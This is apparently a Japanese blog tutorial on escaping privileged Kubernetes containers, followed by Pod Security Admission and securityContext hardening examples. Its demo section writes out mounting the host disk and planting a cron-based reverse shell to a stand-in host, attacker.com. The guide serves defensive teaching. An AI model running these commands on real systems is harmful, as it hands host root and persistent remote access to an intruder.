【実務・中級編】 コンテナエスケープ:特権コンテナ(Privileged)の悪用 – オフェンシブセキュリティ & リバースエンジニアリング防御ガイド

コンテナは「壁」ではない:特権コンテナがもたらす破滅への最短ルート

現場のエンジニア諸君、よく聞いてほしい。「コンテナは隔離されているから安全だ」というのは、半分正解で半分は幻想だ。特に privileged: true を付与した特権コンテナを、安易なデバッグ目的や「とりあえず動くから」という理由で本番環境に紛れ込ませていないか?

今日は、その「特権」がいかにしてホストOSの支配権へと繋がるのか、その泥臭い現実と、それを食い止めるための具体的な防衛策を叩き込む。

—

1. 特権コンテナの正体:何が「自由」なのか

privileged: true を設定されたコンテナは、Linuxカーネルの制約をほぼ無効化する。具体的には、ホストのデバイス(/dev)をコンテナ内から直接参照できるようになる。これが何を意味するか。攻撃者は、ホストのハードディスクそのものを「マウント」できるということだ。

攻撃シーケンス:ホスト奪取のPoC

攻撃者は、コンテナ内に侵入した後、以下のような手順でホストのルート権限を奪う。

1. デバイスの特定: コンテナ内から /dev を確認し、ホストのディスクデバイスを探す。
2. マウント: 自身のファイルシステム上にホストのルートディレクトリをマウントする。
3. chroot: マウント先に chroot し、ホストOSのパスワードファイル(/etc/shadow)を書き換えるか、cron を仕込んでリバースシェルを叩く。

# コンテナ内での攻撃例(デモ用)
# 1. ホストのディスクを探す(例: /dev/sda1)
fdisk -l

# 2. マウントポイント作成
mkdir /tmp/host_root

# 3. ホストのディスクをマウント
mount /dev/sda1 /tmp/host_root

# 4. ホストのcronディレクトリにリバースシェルを仕込む
echo "* * * * * root bash -i >& /dev/tcp/attacker.com/4444 0>&1" > /tmp/host_root/etc/cron.d/evil

たったこれだけで、コンテナを脱出し、ホストOS上で任意のコードを永遠に実行できる状態が完成する。これが特権コンテナの「素顔」だ。

—

2. Pod Security Admission (PSA) で「拒絶する」環境を作る

特権コンテナを許可するような設定ミスを、人間に頼って防ごうとするな。ポリシーで強制的に拒否する仕組み、それが Pod Security Admission (PSA) だ。

Kubernetes 1.25以降、Pod Security Policies (PSP) は廃止され、PSAが標準となった。名前空間(Namespace)単位でセキュリティプロファイルを適用できる。

セキュアな名前空間の設定例

特定の名前空間に対して、最も厳格な restricted プロファイルを適用するマニフェストだ。

apiVersion: v1
kind: Namespace
metadata:
  name: secured-app
  labels:
    # 厳格なセキュリティプロファイルを適用
    pod-security.kubernetes.io/enforce: restricted
    pod-security.kubernetes.io/enforce-version: latest
    # 違反があった場合に警告を出す
    pod-security.kubernetes.io/warn: restricted

この設定を適用しておけば、万が一開発者が privileged: true を書いたマニフェストをデプロイしようとしても、APIサーバーが即座に拒否してくれる。「性善説」ではなく「設計」で防ぐのがプロの仕事だ。

—

3. 実務で守る:コンテナ実行時の鉄則

開発者が日々触れる設定ファイルでも、以下の「セキュア・ベースライン」を意識してほしい。

K8s Deploymentでの制限設定(SecurityContext)

どうしても必要な権限だけを最小限(Principle of Least Privilege)で付与する。privileged は論外として、以下の設定をテンプレート化せよ。

spec:
  containers:
  - name: app
    image: my-app:latest
    securityContext:
      # ルート権限で実行させない
      runAsNonRoot: true
      runAsUser: 1000
      # 権限昇格を防ぐ
      allowPrivilegeEscalation: false
      # 不要なカーネル機能(Capabilities)を捨てる
      capabilities:
        drop:
          - ALL

なぜ allowPrivilegeEscalation: false が重要か

これは setuid バイナリなどの実行による権限昇格を防ぐための非常に重要な防波堤だ。これを無効化するだけで、多くの脆弱性が無効化される。

—

最後に:セキュリティは「設定の積み重ね」である

「攻撃手法を知ること」は、単なる知的好奇心を満たすためのものではない。「どこが壊れやすいか」を知れば、必然的に「どこを補強すべきか」が見えてくる。

特権コンテナは、強力な武器であると同時に、自らの城の鍵を外敵に渡す行為に等しい。明日からの開発現場で、privileged の文字を見かけたら、それが本当に必要なのか、代替手段はないのかを一度立ち止まって考えてみてほしい。

君たちの堅牢なアーキテクチャ設計が、明日起きるかもしれない大規模インシデントを未然に防ぐ最後の砦になる。健闘を祈る。

コメント

タイトルとURLをコピーしました